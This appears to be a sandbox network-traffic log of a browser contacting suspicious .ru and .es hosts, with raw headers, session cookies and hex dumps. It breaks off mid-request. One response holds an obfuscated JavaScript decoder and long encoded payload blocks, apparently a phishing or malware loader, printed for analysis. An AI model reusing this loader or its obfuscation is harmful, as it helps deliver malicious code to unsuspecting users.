XSRF-TOKEN=eyJpdiI6InROc1lENGtLMm9XY0JXZHVOdnJiQ2c9PSIsInZhbHVlIjoiK0hienJwTWkxSkRKei8weTM1RVJMdHdObUxMRmFKRm15TjdrMms0MlJBSUcxSGZQYUtQMlVEUE4xNDloWHRSQTJSOGh6NWU2OWZzL0JseVUvMFdYNGZ5SUhWR3BzRTY2dWJiQXUzVlZjb1NqUGh2NGxPTzlESXdJQk9CZWZBOU0iLCJtYWMiOiJlMmU0NDkwYzgyZWZkODYxNGU0ZTk0MDZhNjVmOTlhNTMwYzFmMmQ1ZGJkZWUzMmQ5ZDc3MzFiYmNiYjJjMDQyIiwidGFnIjoiIn0%3D; expires=Mon, 24-Mar-2025 15:13:05 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-24 13:13:05 UTC	787	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 42 71 64 6e 70 48 55 7a 5a 5a 59 79 74 61 64 6a 4a 51 4d 30 30 33 4e 45 35 4e 54 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 33 56 4f 56 45 78 42 4e 33 42 45 51 6e 5a 45 55 33 5a 46 65 58 5a 70 53 44 4e 6f 5a 7a 45 76 57 44 46 61 62 58 4d 79 5a 6e 4a 78 65 45 49 76 4d 45 4d 34 51 6e 4a 46 54 47 74 6a 4b 31 5a 42 62 30 45 72 4c 32 6c 43 54 47 35 50 5a 55 39 76 5a 6d 49 35 56 47 73 7a 62 48 6c 77 4c 30 77 31 62 7a 67 32 4f 55 64 6f 55 57 74 4a 64 33 42 42 5a 6b 49 32 55 57 70 53 63 57 5a 33 59 30 56 6b 51 55 5a 57 55 54 4e 44 61 6a 4e 6f 64 6b 35 54 4d 30 49 34 61 33 70 73 54 6a 4e 61 52 56 56 6b 55 46 42 34 56 54 56 73 4b 33 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InBqdnpHUzZZYytadjJQM003NE5NTHc9PSIsInZhbHVlIjoiQ3VOVExBN3BEQnZEU3ZFeXZpSDNoZzEvWDFabXMyZnJxeEIvMEM4QnJFTGtjK1ZBb0ErL2lCTG5PZU9vZmI5VGszbHlwL0w1bzg2OUdoUWtJd3BBZkI2UWpScWZ3Y0VkQUZWUTNDajNodk5TM0I4a3psTjNaRVVkUFB4VTVsK3E
2025-03-24 13:13:05 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-24 13:13:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:05 UTC	389	OUT	GET /ando$y42g72 HTTP/1.1 Host: u5yz.nmpjkg.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:13:06 UTC	823	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bd5C6fhC0SCUErg35dpYCd32DtlNgH%2FXyAyqW7XxHKWVHbCzF0nYoJNROjC7b%2FF88DACzyzJXJGzsA03DGQQMN7Sc8q1pGY6D808r513HXGhqhdhRYWMBL8ufCLHjlTIkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92566c83ed0e7039-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=98567&min_rtt=98163&rtt_var=21316&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=961&delivery_rate=37486&cwnd=241&unsent_bytes=0&cid=f88f3eb0d1e9579f&ts=803&x=0"
2025-03-24 13:13:06 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-24 13:13:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:06 UTC	1480	OUT	GET /iSHROnSonGoT/ HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://zx.nhyyupvw.es/iSHROnSonGoT/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InROc1lENGtLMm9XY0JXZHVOdnJiQ2c9PSIsInZhbHVlIjoiK0hienJwTWkxSkRKei8weTM1RVJMdHdObUxMRmFKRm15TjdrMms0MlJBSUcxSGZQYUtQMlVEUE4xNDloWHRSQTJSOGh6NWU2OWZzL0JseVUvMFdYNGZ5SUhWR3BzRTY2dWJiQXUzVlZjb1NqUGh2NGxPTzlESXdJQk9CZWZBOU0iLCJtYWMiOiJlMmU0NDkwYzgyZWZkODYxNGU0ZTk0MDZhNjVmOTlhNTMwYzFmMmQ1ZGJkZWUzMmQ5ZDc3MzFiYmNiYjJjMDQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBqdnpHUzZZYytadjJQM003NE5NTHc9PSIsInZhbHVlIjoiQ3VOVExBN3BEQnZEU3ZFeXZpSDNoZzEvWDFabXMyZnJxeEIvMEM4QnJFTGtjK1ZBb0ErL2lCTG5PZU9vZmI5VGszbHlwL0w1bzg2OUdoUWtJd3BBZkI2UWpScWZ3Y0VkQUZWUTNDajNodk5TM0I4a3psTjNaRVVkUFB4VTVsK3EiLCJtYWMiOiI3YjM1NDY3MTE0ZTA2ZTdjNjQyMDZiYjQ3NWRhYWY0ZmFkZTE1OTc2MDM0YmY1YWJhYzQ5NDAyYjM0Zjc4NTdmIiwidGFnIjoiIn0%3D
2025-03-24 13:13:06 UTC	1214	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pu1uEsChd%2BS4tQETqud1ZDvWLV0IQJdudmLVLG0I5v4urmS12UZiWmehmNcQKSs1dBupJfjSau%2FLiY7Q4MMCbhrZxda4HTRW3rno35IGBpi8V0StYe91Eb2hSw%2B2HLOaWXQS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10551&min_rtt=10218&rtt_var=4070&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2375&delivery_rate=278723&cwnd=250&unsent_bytes=0&cid=e10de4f1da348be4&ts=238&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkhJQ2NwMkFmWG1SZmZwaklMOTR6WWc9PSIsInZhbHVlIjoiOVdhMm50ODhodURBZ3g1S1dkTkJLZ2NYdnhjd1BUNjduUGQrYURmODllWXQ2Zk9UcTJSNFV5aStMei8xY3VoRWt3NTI4RFRvcGpzVjc4Z2dzUGQ1Z0JWZHVsQVRsU1p3TGIzMXVIN2xCSHJ0Wnp3TkV5Q0dFYU5WSnJxOE5kVmEiLCJtYWMiOiJjNjE0NzQzN2I2ZWUwMGJjOGY0ZTUwODI5ZGM3MjA2OTdiOTcxNzVhN2MzYzQ0NDY4N2QwOTk1YjFlMjU5NjUwIiwidGFnIjoiIn0%3D; expires=Mon, 24-Mar-2025 15:13:06 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-24 13:13:06 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 64 58 62 46 6b 79 4d 32 4a 70 59 6d 56 50 4d 6a 6c 32 4c 32 39 48 59 7a 46 45 51 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 6a 52 51 4b 33 70 5a 4e 30 5a 68 56 48 4d 33 55 44 42 51 4d 45 35 4c 52 54 64 31 61 47 35 58 56 57 68 43 52 56 4a 4a 61 6e 59 7a 53 6d 5a 43 64 7a 4a 59 4e 30 74 78 57 55 30 35 5a 48 59 34 61 7a 46 58 61 45 4a 30 4d 57 4e 48 5a 6e 51 79 4e 6c 70 34 59 33 4e 30 57 57 70 71 59 6b 4d 79 57 56 4e 73 62 31 4a 52 61 6b 4e 6f 64 6b 56 48 64 58 68 6e 62 6d 70 36 52 45 6c 76 5a 6e 64 55 4e 47 39 47 63 45 70 78 4d 57 45 78 63 69 73 33 63 48 4e 58 55 30 39 58 4d 6b 46 54 63 44 6b 72 54 54 5a 71 54 46 68 7a 65 55 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjdXbFkyM2JpYmVPMjl2L29HYzFEQ1E9PSIsInZhbHVlIjoiQjRQK3pZN0ZhVHM3UDBQME5LRTd1aG5XVWhCRVJJanYzSmZCdzJYN0txWU05ZHY4azFXaEJ0MWNHZnQyNlp4Y3N0WWpqYkMyWVNsb1JRakNodkVHdXhnbmp6RElvZndUNG9GcEpxMWExcis3cHNXU09XMkFTcDkrTTZqTFhzeUo
2025-03-24 13:13:06 UTC	1369	IN	Data Raw: 37 63 32 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 52 79 76 45 4b 62 6f 66 72 53 28 64 46 4a 5a 65 6e 52 75 42 77 2c 20 5a 57 65 44 6a 71 79 41 6d 54 29 20 7b 0d 0a 6c 65 74 20 66 58 74 6f 49 56 4f 7a 75 67 20 3d 20 27 27 3b 0d 0a 64 46 4a 5a 65 6e 52 75 42 77 20 3d 20 61 74 6f 62 28 64 46 4a 5a 65 6e 52 75 42 77 29 3b 0d 0a 6c 65 74 20 4b 61 73 61 54 63 6f 48 43 70 20 3d 20 5a 57 65 44 6a 71 79 41 6d 54 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 64 46 4a 5a 65 6e 52 75 42 77 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 66 58 74 6f 49 56 4f 7a 75 67 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 64 46 4a 5a 65 6e 52 75 42 77 2e 63 68 61 72 43 6f Data Ascii: 7c2<script>function RyvEKbofrS(dFJZenRuBw, ZWeDjqyAmT) {let fXtoIVOzug = '';dFJZenRuBw = atob(dFJZenRuBw);let KasaTcoHCp = ZWeDjqyAmT.length;for (let i = 0; i < dFJZenRuBw.length; i++) { fXtoIVOzug += String.fromCharCode(dFJZenRuBw.charCo
2025-03-24 13:13:06 UTC	624	IN	Data Raw: 53 6c 6f 42 56 79 59 71 49 7a 35 36 61 47 42 50 49 6c 74 7a 4a 68 73 75 4a 57 4d 46 63 51 31 71 4f 43 6f 38 49 54 68 37 64 45 77 70 58 52 51 41 48 53 34 4d 5a 77 56 78 41 57 46 79 42 79 4e 45 4f 48 5a 69 56 79 4a 78 41 67 38 4d 50 51 68 7a 56 48 45 47 65 53 59 48 4b 44 5a 38 65 33 52 32 64 56 73 73 4f 56 30 39 41 32 42 4b 58 42 4a 74 4d 67 63 6a 4f 69 52 54 5a 47 4a 31 64 79 67 4d 57 78 63 6c 5a 46 39 30 42 6e 6f 7a 46 44 4d 59 44 31 41 42 61 69 6c 33 4b 41 39 59 4f 67 68 77 43 6e 51 45 43 41 6f 48 4b 44 55 73 65 33 42 35 49 6e 45 43 44 77 77 39 43 48 4e 55 58 54 78 36 4b 79 6f 6a 50 6a 68 39 57 6e 70 31 57 79 38 59 42 7a 67 49 63 45 6c 5a 41 6c 51 73 4b 69 38 62 4c 46 5a 37 63 6e 52 69 45 6a 6b 4d 46 58 6c 6b 42 6d 6c 33 41 53 6f 55 50 78 73 73 66 45 6c Data Ascii: SloBVyYqIz56aGBPIltzJhsuJWMFcQ1qOCo8ITh7dEwpXRQAHS4MZwVxAWFyByNEOHZiVyJxAg8MPQhzVHEGeSYHKDZ8e3R2dVssOV09A2BKXBJtMgcjOiRTZGJ1dygMWxclZF90BnozFDMYD1ABail3KA9YOghwCnQECAoHKDUse3B5InECDww9CHNUXTx6KyojPjh9Wnp1Wy8YBzgIcElZAlQsKi8bLFZ7cnRiEjkMFXlkBml3ASoUPxssfEl
2025-03-24 13:13:06 UTC	1369	IN	Data Raw: 33 64 31 66 0d 0a 49 31 4c 48 74 77 65 53 4a 78 41 67 38 4d 4c 42 39 42 66 58 73 69 43 41 6f 48 4b 44 55 73 65 33 42 35 49 6e 45 43 44 42 49 75 45 32 41 43 57 79 67 4d 4a 69 70 5a 49 69 42 6d 58 31 77 39 57 77 59 63 41 42 63 49 42 30 6c 61 64 77 6b 74 42 53 77 2b 50 56 64 31 64 68 39 70 4c 78 51 6c 4a 58 70 5a 56 47 67 52 44 41 38 4e 41 6a 55 73 65 33 42 35 49 6e 45 43 44 77 77 39 43 48 4e 55 63 51 5a 66 4b 52 63 47 54 58 39 6e 41 6c 51 47 58 43 70 2f 4c 79 4d 59 42 31 6c 63 44 58 49 79 42 79 4d 4d 63 33 74 30 62 6e 64 69 46 6e 74 62 4f 43 5a 38 41 31 73 6f 51 41 30 55 4d 78 38 37 65 33 42 68 4b 48 77 51 49 51 77 39 43 48 4e 55 63 51 5a 35 4a 67 63 6f 4e 53 78 37 63 48 6b 71 63 52 59 45 48 52 45 4e 66 47 6c 70 4b 32 49 50 48 31 6f 66 50 6c 45 42 55 44 56 Data Ascii: 3d1fI1LHtweSJxAg8MLB9BfXsiCAoHKDUse3B5InECDBIuE2ACWygMJipZIiBmX1w9WwYcABcIB0ladwktBSw+PVd1dh9pLxQlJXpZVGgRDA8NAjUse3B5InECDww9CHNUcQZfKRcGTX9nAlQGXCp/LyMYB1lcDXIyByMMc3t0bndiFntbOCZ8A1soQA0UMx87e3BhKHwQIQw9CHNUcQZ5JgcoNSx7cHkqcRYEHRENfGlpK2IPH1ofPlEBUDV
2025-03-24 13:13:06 UTC	1369	IN	Data Raw: 57 64 66 55 41 35 74 42 6e 39 65 45 53 5a 37 56 47 67 57 65 6a 59 55 4d 7a 34 6d 55 41 42 79 4d 57 45 57 65 77 45 75 47 41 64 47 57 6e 5a 62 4c 67 55 2f 42 77 56 78 57 6e 6b 69 63 51 49 50 44 44 30 49 63 31 52 5a 45 6d 45 6d 42 53 30 36 4d 57 64 66 55 41 35 74 42 6e 39 65 45 53 5a 37 56 48 51 57 65 67 34 62 57 6a 6f 47 5a 6e 74 49 4b 32 78 7a 4e 6c 6f 39 44 77 5a 55 62 41 4a 4d 4e 43 73 7a 4e 68 35 54 58 58 6f 4d 62 42 49 50 42 6a 34 69 63 31 74 73 41 47 6f 56 48 43 34 41 50 32 64 59 58 41 35 64 41 69 55 4d 45 54 77 43 65 48 45 47 65 53 59 48 4b 44 55 73 65 33 42 35 49 6e 45 43 44 77 77 6e 4a 67 74 47 59 53 74 71 64 53 6f 74 4e 6e 6c 6c 59 48 6c 38 63 51 6b 63 45 68 41 63 5a 77 52 38 46 46 63 6d 42 79 67 31 4c 48 74 77 65 53 4a 78 41 67 38 4d 50 51 68 77 Data Ascii: WdfUA5tBn9eESZ7VGgWejYUMz4mUAByMWEWewEuGAdGWnZbLgU/BwVxWnkicQIPDD0Ic1RZEmEmBS06MWdfUA5tBn9eESZ7VHQWeg4bWjoGZntIK2xzNlo9DwZUbAJMNCszNh5TXXoMbBIPBj4ic1tsAGoVHC4AP2dYXA5dAiUMETwCeHEGeSYHKDUse3B5InECDwwnJgtGYStqdSotNnllYHl8cQkcEhAcZwR8FFcmByg1LHtweSJxAg8MPQhw
2025-03-24 13:13:06 UTC	1369	IN	Data Raw: 51 47 4c 69 46 42 65 48 45 47 65 53 59 48 4b 44 55 73 55 58 52 2b 4c 6d 49 47 49 68 34 75 4d 56 31 55 64 69 39 36 4e 69 73 6f 4e 54 4a 2f 65 33 70 78 64 7a 59 68 44 44 30 49 63 31 52 78 42 6e 70 78 46 44 4d 63 65 33 35 6b 66 6a 5a 5a 46 69 6f 65 4f 79 4a 77 57 57 49 53 44 58 45 55 4d 7a 31 38 63 56 70 35 49 6e 45 43 44 46 49 33 49 6e 4e 55 63 51 5a 36 4c 68 51 38 4d 69 42 6f 61 33 45 69 57 51 55 4c 44 42 45 38 58 56 52 78 42 6e 6b 6d 42 79 67 32 50 32 74 72 63 69 74 5a 46 6e 70 64 50 51 39 7a 42 48 73 73 65 53 59 48 4b 44 55 73 65 33 52 69 4d 31 6f 76 48 78 38 58 65 56 34 46 59 68 46 58 4a 67 4e 59 50 69 64 51 5a 30 73 4f 63 51 49 50 44 44 30 49 63 31 52 69 4b 41 45 30 4b 69 68 46 65 47 68 6b 56 43 74 5a 43 52 39 64 50 51 78 34 52 56 6f 43 61 58 59 4e 41 Data Ascii: QGLiFBeHEGeSYHKDUsUXR+LmIGIh4uMV1Udi96NisoNTJ/e3pxdzYhDD0Ic1RxBnpxFDMce35kfjZZFioeOyJwWWISDXEUMz18cVp5InECDFI3InNUcQZ6LhQ8MiBoa3EiWQULDBE8XVRxBnkmByg2P2trcitZFnpdPQ9zBHsseSYHKDUse3RiM1ovHx8XeV4FYhFXJgNYPidQZ0sOcQIPDD0Ic1RiKAE0KihFeGhkVCtZCR9dPQx4RVoCaXYNA
2025-03-24 13:13:06 UTC	1369	IN	Data Raw: 53 43 48 59 4e 41 6a 55 73 65 33 42 36 66 48 73 6f 44 77 77 39 43 48 4e 47 59 58 63 42 63 43 30 46 4f 69 64 52 53 6b 38 69 64 43 77 55 42 79 30 54 59 41 4a 62 4b 47 34 37 41 69 67 31 50 6c 5a 30 62 6a 39 63 42 69 49 66 46 6e 6b 48 51 32 45 53 51 44 73 43 4b 44 55 2b 61 77 42 71 4c 58 45 4a 50 53 41 39 43 48 4e 55 63 51 5a 35 4a 69 77 38 4d 6a 4a 6f 41 56 51 77 64 42 59 45 48 52 41 44 59 45 56 61 45 56 63 6d 41 44 38 32 50 46 64 33 53 77 35 78 41 67 38 4d 50 51 4d 43 65 48 45 47 65 53 59 48 4b 45 45 68 55 41 42 75 50 46 74 7a 47 78 38 75 65 48 68 44 59 67 5a 50 4a 67 49 47 4c 69 64 72 61 32 70 30 57 79 77 62 48 79 35 34 65 45 4e 69 42 6e 70 32 44 51 49 31 4c 48 74 77 65 53 4a 78 42 68 77 62 46 33 68 77 51 47 45 64 55 33 63 48 4c 42 41 79 55 32 52 70 63 6e Data Ascii: SCHYNAjUse3B6fHsoDww9CHNGYXcBcC0FOidRSk8idCwUBy0TYAJbKG47Aig1PlZ0bj9cBiIfFnkHQ2ESQDsCKDU+awBqLXEJPSA9CHNUcQZ5Jiw8MjJoAVQwdBYEHRADYEVaEVcmAD82PFd3Sw5xAg8MPQMCeHEGeSYHKEEhUABuPFtzGx8ueHhDYgZPJgIGLidra2p0WywbHy54eENiBnp2DQI1LHtweSJxBhwbF3hwQGEdU3cHLBAyU2Rpcn
2025-03-24 13:13:06 UTC	1369	IN	Data Raw: 65 33 42 35 49 6e 45 47 42 41 4d 74 65 55 5a 64 57 79 67 42 63 43 77 47 4a 58 31 37 63 48 59 6f 59 69 77 58 58 44 63 69 63 31 52 78 42 6e 6b 6d 42 79 4d 32 49 32 68 30 61 6a 56 61 4c 43 31 64 50 51 39 37 52 46 73 4e 58 33 59 4e 41 6a 55 73 65 33 42 35 49 6e 45 47 42 42 30 58 4a 6d 42 66 57 79 77 4a 4f 42 63 38 4a 6a 74 57 61 33 56 7a 63 51 55 4c 48 42 63 44 56 51 52 37 4c 48 6b 6d 42 79 67 31 4c 48 74 30 63 6a 4e 64 41 6e 38 52 46 51 78 30 57 46 70 32 57 33 63 48 4c 7a 55 73 66 48 74 36 63 58 45 46 43 78 77 58 41 31 56 55 57 79 68 63 4b 42 63 34 45 7a 78 2b 63 48 6b 79 64 41 49 50 48 44 67 49 63 30 52 30 4c 33 30 78 41 52 77 62 4c 48 74 77 65 53 4a 78 41 67 77 66 46 52 77 47 52 31 78 33 56 43 6f 71 4c 42 4e 39 65 33 64 31 4d 6e 55 4a 44 46 38 37 50 46 31 Data Ascii: e3B5InEGBAMteUZdWygBcCwGJX17cHYoYiwXXDcic1RxBnkmByM2I2h0ajVaLC1dPQ97RFsNX3YNAjUse3B5InEGBB0XJmBfWywJOBc8JjtWa3VzcQULHBcDVQR7LHkmByg1LHt0cjNdAn8RFQx0WFp2W3cHLzUsfHt6cXEFCxwXA1VUWyhcKBc4Ezx+cHkydAIPHDgIc0R0L30xARwbLHtweSJxAgwfFRwGR1x3VCoqLBN9e3d1MnUJDF87PF1
2025-03-24 13:13:06 UTC	1369	IN	Data Raw: 77 45 51 44 48 64 55 59 53 74 75 63 53 6f 73 54 54 35 39 58 6c 41 7a 58 43 77 59 45 6a 30 44 51 58 68 78 42 6e 6b 6d 42 79 67 31 4c 47 74 65 66 69 39 5a 63 79 6f 53 46 6e 68 6b 52 6d 49 42 56 79 59 48 57 53 30 7a 61 46 6c 32 4b 48 59 72 50 53 41 39 43 48 4e 55 63 51 30 49 43 67 63 6f 4e 53 78 37 64 47 49 7a 57 6e 49 63 42 78 63 69 63 41 52 37 4c 48 6b 6d 42 79 67 31 4c 48 74 30 63 69 31 68 63 7a 6f 46 46 79 59 4c 41 6c 6f 6f 61 58 63 48 4b 44 6b 78 66 30 6c 31 63 6e 73 6f 44 77 77 39 43 48 4e 55 63 51 4a 32 4e 79 77 73 54 54 4a 39 57 6e 6b 76 59 69 77 55 42 6a 73 38 58 56 52 78 42 6e 6b 6d 42 79 67 32 65 32 68 72 55 48 56 30 46 67 67 59 46 52 78 57 52 6e 63 73 65 69 73 55 50 45 46 37 61 47 74 78 63 6e 73 6f 44 77 77 39 43 48 4e 55 63 51 31 36 4b 52 51 73 Data Ascii: wEQDHdUYStucSosTT59XlAzXCwYEj0DQXhxBnkmByg1LGtefi9ZcyoSFnhkRmIBVyYHWS0zaFl2KHYrPSA9CHNUcQ0ICgcoNSx7dGIzWnIcBxcicAR7LHkmByg1LHt0ci1hczoFFyYLAlooaXcHKDkxf0l1cnsoDww9CHNUcQJ2NywsTTJ9WnkvYiwUBjs8XVRxBnkmByg2e2hrUHV0FggYFRxWRncseisUPEF7aGtxcnsoDww9CHNUcQ16KRQs
2025-03-24 13:13:06 UTC	1369	IN	Data Raw: 74 32 4c 53 30 53 51 48 4e 2b 41 48 6c 75 65 79 67 50 44 44 30 49 63 31 52 78 42 6e 6b 6d 48 69 68 4e 49 46 4e 72 59 57 35 37 4b 41 38 4d 50 51 68 7a 56 48 45 47 65 53 59 65 4c 43 59 37 56 6c 70 36 4c 31 6f 47 43 42 45 58 4d 51 4a 61 59 58 63 42 63 43 30 46 4f 69 64 2b 5a 48 59 74 57 79 77 66 41 69 51 73 58 56 52 78 42 6e 6b 6d 42 79 67 31 4c 48 74 77 65 53 4a 6f 42 69 6b 52 4a 43 64 38 57 56 6b 53 62 6a 51 58 57 53 46 7a 66 67 46 66 50 32 67 6d 49 51 77 39 43 48 4e 55 63 51 5a 35 4a 67 63 6f 4e 53 78 69 65 33 6c 75 61 68 6b 6d 48 42 59 4d 43 30 70 69 46 6e 6f 32 4c 79 4d 59 4d 56 4e 6b 64 6a 39 30 41 67 77 42 46 51 78 6b 52 31 6b 64 64 6e 45 74 42 52 38 34 65 33 52 79 4e 56 70 7a 4e 68 30 75 65 46 6c 41 63 51 4a 2b 4e 42 51 6f 4e 69 64 51 58 57 49 31 57 Data Ascii: t2LS0SQHN+AHlueygPDD0Ic1RxBnkmHihNIFNrYW57KA8MPQhzVHEGeSYeLCY7Vlp6L1oGCBEXMQJaYXcBcC0FOid+ZHYtWywfAiQsXVRxBnkmByg1LHtweSJoBikRJCd8WVkSbjQXWSFzfgFfP2gmIQw9CHNUcQZ5JgcoNSxie3luahkmHBYMC0piFno2LyMYMVNkdj90AgwBFQxkR1kddnEtBR84e3RyNVpzNh0ueFlAcQJ+NBQoNidQXWI1W

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:06 UTC	1144	OUT	GET /ve5HClA9r3rInXOW55CCxGwczDAZn6wPQThkYl183il HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InROc1lENGtLMm9XY0JXZHVOdnJiQ2c9PSIsInZhbHVlIjoiK0hienJwTWkxSkRKei8weTM1RVJMdHdObUxMRmFKRm15TjdrMms0MlJBSUcxSGZQYUtQMlVEUE4xNDloWHRSQTJSOGh6NWU2OWZzL0JseVUvMFdYNGZ5SUhWR3BzRTY2dWJiQXUzVlZjb1NqUGh2NGxPTzlESXdJQk9CZWZBOU0iLCJtYWMiOiJlMmU0NDkwYzgyZWZkODYxNGU0ZTk0MDZhNjVmOTlhNTMwYzFmMmQ1ZGJkZWUzMmQ5ZDc3MzFiYmNiYjJjMDQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBqdnpHUzZZYytadjJQM003NE5NTHc9PSIsInZhbHVlIjoiQ3VOVExBN3BEQnZEU3ZFeXZpSDNoZzEvWDFabXMyZnJxeEIvMEM4QnJFTGtjK1ZBb0ErL2lCTG5PZU9vZmI5VGszbHlwL0w1bzg2OUdoUWtJd3BBZkI2UWpScWZ3Y0VkQUZWUTNDajNodk5TM0I4a3psTjNaRVVkUFB4VTVsK3EiLCJtYWMiOiI3YjM1NDY3MTE0ZTA2ZTdjNjQyMDZiYjQ3NWRhYWY0ZmFkZTE1OTc2MDM0YmY1YWJhYzQ5NDAyYjM0Zjc4NTdmIiwidGFnIjoiIn0%3D
2025-03-24 13:13:06 UTC	1037	IN	HTTP/1.1 404 Not Found Date: Mon, 24 Mar 2025 13:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qnOl8kJJfU%2BIHgXhD49LiRAq80hry3EYXx3xACE9dApfG5zwgfRZB%2BjXrFd%2FkkiyUEHq7eNiIqAbtkFxfXnDAJCK7A8h89rm5yxCiKscgffCArzOxjevHZfXBHtfKA5%2F3ibf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10060&min_rtt=9913&rtt_var=3822&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2054&delivery_rate=287299&cwnd=237&unsent_bytes=0&cid=19bb4334cccfeaf4&ts=222&x=0" Server: cloudflare CF-RAY: 92566c87dc444366-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=100380&min_rtt=100372&rtt_var=21185&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1716&delivery_rate=37111&cwnd=248&unsent_bytes=0&cid=d76029b143d775ee&ts=652&x=0"
2025-03-24 13:13:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:07 UTC	1447	OUT	POST /xyMnJfOyoOYokTNZFC32YwwqilhKk5QahjkelAKE6FLgy HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive Content-Length: 6 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://zx.nhyyupvw.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://zx.nhyyupvw.es/iSHROnSonGoT/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: 